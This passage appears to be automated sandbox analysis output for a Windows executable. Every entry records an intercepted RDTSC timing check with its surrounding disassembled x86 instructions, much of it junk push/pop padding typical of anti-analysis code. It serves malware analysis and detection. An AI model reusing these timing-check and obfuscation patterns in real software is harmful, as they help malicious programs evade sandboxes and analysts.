Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC36D second address: FDC373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC373 second address: FDC377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC377 second address: FDC387 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC387 second address: FDC38C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC38C second address: FDC3A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC3A4 second address: FDC3AE instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0580C30A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC3AE second address: FDC3C1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b push esi 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDD93E second address: FDD95D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0580C30A7Bh 0x0000000c jmp 00007F0580C30A7Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDD95D second address: FDD99D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F0580563BB6h 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 jo 00007F0580563BA6h 0x00000018 popad 0x00000019 popad 0x0000001a pushad 0x0000001b jmp 00007F0580563BAFh 0x00000020 push ecx 0x00000021 push esi 0x00000022 pop esi 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF458 second address: FDF484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F0580C30A86h 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 pushad 0x00000011 jc 00007F0580C30A76h 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0F8E second address: FE0FA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0580563BADh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F04710 second address: F0471A instructions: 0x00000000 rdtsc 0x00000002 js 00007F0580C30A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290376 second address: 52903C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F0580563BB1h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007F0580563BAAh 0x00000019 sbb ecx, 419A0C18h 0x0000001f jmp 00007F0580563BABh 0x00000024 popfd 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52903C6 second address: 5290412 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, 28A43151h 0x0000000e popad 0x0000000f mov ebp, esp 0x00000011 jmp 00007F0580C30A7Ch 0x00000016 mov edx, dword ptr [ebp+0Ch] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F0580C30A87h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290412 second address: 5290418 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0677 second address: 52B067D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B067D second address: 52B0681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0681 second address: 52B0685 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0685 second address: 52B0693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c mov al, 6Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0693 second address: 52B06E3 instructions: 0x00000000 rdtsc 0x00000002 movsx ebx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov si, 2E03h 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F0580C30A89h 0x00000012 xchg eax, ebp 0x00000013 jmp 00007F0580C30A7Eh 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F0580C30A87h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B06E3 second address: 52B075E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0580563BAFh 0x00000009 sbb ax, 536Eh 0x0000000e jmp 00007F0580563BB9h 0x00000013 popfd 0x00000014 mov ebx, ecx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F0580563BAFh 0x00000023 adc si, 597Eh 0x00000028 jmp 00007F0580563BB9h 0x0000002d popfd 0x0000002e jmp 00007F0580563BB0h 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B075E second address: 52B0770 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0580C30A7Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0770 second address: 52B0785 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a movzx eax, bx 0x0000000d popad 0x0000000e xchg eax, ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0785 second address: 52B078B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B078B second address: 52B0791 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0791 second address: 52B0795 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0820 second address: 52B083D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0907 second address: 52B001B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 4444h 0x00000007 mov ebx, 6EB260B0h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop esi 0x00000010 jmp 00007F0580C30A7Fh 0x00000015 leave 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F0580C30A84h 0x0000001d sub eax, 34DF9828h 0x00000023 jmp 00007F0580C30A7Bh 0x00000028 popfd 0x00000029 mov ch, 69h 0x0000002b popad 0x0000002c retn 0004h 0x0000002f nop 0x00000030 cmp eax, 00000000h 0x00000033 setne al 0x00000036 xor ebx, ebx 0x00000038 test al, 01h 0x0000003a jne 00007F0580C30A77h 0x0000003c xor eax, eax 0x0000003e sub esp, 08h 0x00000041 mov dword ptr [esp], 00000000h 0x00000048 mov dword ptr [esp+04h], 00000000h 0x00000050 call 00007F05851BCD51h 0x00000055 mov edi, edi 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007F0580C30A85h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B001B second address: 52B001F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B001F second address: 52B0025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0025 second address: 52B0056 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ecx 0x0000000f call 00007F0580563BB9h 0x00000014 pop eax 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0056 second address: 52B0084 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, AB33h 0x00000007 call 00007F0580C30A88h 0x0000000c pop eax 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 mov cx, 9F4Dh 0x00000016 push eax 0x00000017 push edx 0x00000018 mov dx, cx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B029A second address: 52B02B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BB2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ecx 0x0000000f push ebx 0x00000010 pop esi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B02B9 second address: 52B02DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 mov si, A943h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0580C30A84h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B02DD second address: 52B030E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F0580563BB1h 0x00000008 pop eax 0x00000009 mov ch, bh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F0580563BB2h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B030E second address: 52B031D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B031D second address: 52B0347 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 movsx ebx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 18h 0x0000000e jmp 00007F0580563BAAh 0x00000013 xchg eax, ebx 0x00000014 pushad 0x00000015 mov bx, cx 0x00000018 mov ax, 6F09h 0x0000001c popad 0x0000001d push eax 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 mov dx, D7E6h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0347 second address: 52B035C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov si, bx 0x00000009 popad 0x0000000a xchg eax, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov dx, cx 0x00000011 movzx ecx, bx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B035C second address: 52B03D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BB6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F0580563BACh 0x00000011 movzx esi, dx 0x00000014 popad 0x00000015 mov ax, bx 0x00000018 popad 0x00000019 push eax 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F0580563BB6h 0x00000021 sub eax, 34E72048h 0x00000027 jmp 00007F0580563BABh 0x0000002c popfd 0x0000002d mov di, cx 0x00000030 popad 0x00000031 xchg eax, esi 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F0580563BB1h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B03D0 second address: 52B03EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 push edx 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F0580C30A7Dh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B03EE second address: 52B0458 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007F0580563BB3h 0x0000000b or ax, B54Eh 0x00000010 jmp 00007F0580563BB9h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov dword ptr [esp], edi 0x0000001c jmp 00007F0580563BAEh 0x00000021 mov eax, dword ptr [75C74538h] 0x00000026 jmp 00007F0580563BB0h 0x0000002b xor dword ptr [ebp-08h], eax 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0458 second address: 52B045C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B045C second address: 52B0460 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0460 second address: 52B0466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0466 second address: 52B0475 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0580563BABh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0475 second address: 52B04A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0580C30A7Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B04A2 second address: 52B04A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B04A8 second address: 52B04AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B04AC second address: 52B04B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B04B0 second address: 52B053E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F0580C30A84h 0x0000000f pushfd 0x00000010 jmp 00007F0580C30A82h 0x00000015 sbb eax, 51847348h 0x0000001b jmp 00007F0580C30A7Bh 0x00000020 popfd 0x00000021 popad 0x00000022 mov dword ptr [esp], eax 0x00000025 pushad 0x00000026 call 00007F0580C30A84h 0x0000002b movzx esi, di 0x0000002e pop edx 0x0000002f pushfd 0x00000030 jmp 00007F0580C30A7Ch 0x00000035 xor si, 58D8h 0x0000003a jmp 00007F0580C30A7Bh 0x0000003f popfd 0x00000040 popad 0x00000041 lea eax, dword ptr [ebp-10h] 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 mov edx, 7117D1C6h 0x0000004c movsx ebx, cx 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B053E second address: 52B05BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr fs:[00000000h], eax 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F0580563BACh 0x00000016 xor eax, 55C19D98h 0x0000001c jmp 00007F0580563BABh 0x00000021 popfd 0x00000022 mov dh, ch 0x00000024 popad 0x00000025 mov dword ptr [ebp-18h], esp 0x00000028 pushad 0x00000029 jmp 00007F0580563BB1h 0x0000002e mov dh, al 0x00000030 popad 0x00000031 mov eax, dword ptr fs:[00000018h] 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F0580563BB5h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B05BB second address: 52B05C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B05C1 second address: 52B05C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B05C6 second address: 52B05EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, 6B0Fh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, dword ptr [eax+00000FDCh] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F0580C30A81h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B05EA second address: 52B05F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0008 second address: 52A000C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A000C second address: 52A0012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0012 second address: 52A0018 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0018 second address: 52A001C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A001C second address: 52A0039 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov edx, 2120E43Ah 0x00000011 jmp 00007F0580C30A7Bh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0039 second address: 52A003F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A003F second address: 52A0067 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F0580C30A80h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0067 second address: 52A006B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A006B second address: 52A0071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0071 second address: 52A00B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, ecx 0x00000005 mov ebx, eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c pushad 0x0000000d movzx eax, dx 0x00000010 pushfd 0x00000011 jmp 00007F0580563BADh 0x00000016 adc eax, 26CE5376h 0x0000001c jmp 00007F0580563BB1h 0x00000021 popfd 0x00000022 popad 0x00000023 sub esp, 2Ch 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A00B1 second address: 52A00B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A00B7 second address: 52A00CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0580563BB1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A00CC second address: 52A00EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A00EA second address: 52A00FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A00FD second address: 52A016F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0580C30A7Fh 0x00000009 and eax, 1B9CA36Eh 0x0000000f jmp 00007F0580C30A89h 0x00000014 popfd 0x00000015 call 00007F0580C30A80h 0x0000001a pop esi 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push eax 0x0000001f jmp 00007F0580C30A80h 0x00000024 xchg eax, ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F0580C30A87h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A016F second address: 52A01A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F0580563BB3h 0x00000012 pop ecx 0x00000013 mov ax, dx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A01A8 second address: 52A01E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F0580C30A80h 0x00000008 pop esi 0x00000009 push ebx 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F0580C30A7Ch 0x00000014 xchg eax, edi 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F0580C30A87h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A01E8 second address: 52A01EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A01EE second address: 52A01F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0205 second address: 52A021D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A021D second address: 52A0223 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0223 second address: 52A0227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0227 second address: 52A022B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A022B second address: 52A024D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, 00000000h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0580563BB2h 0x00000015 rdtsc
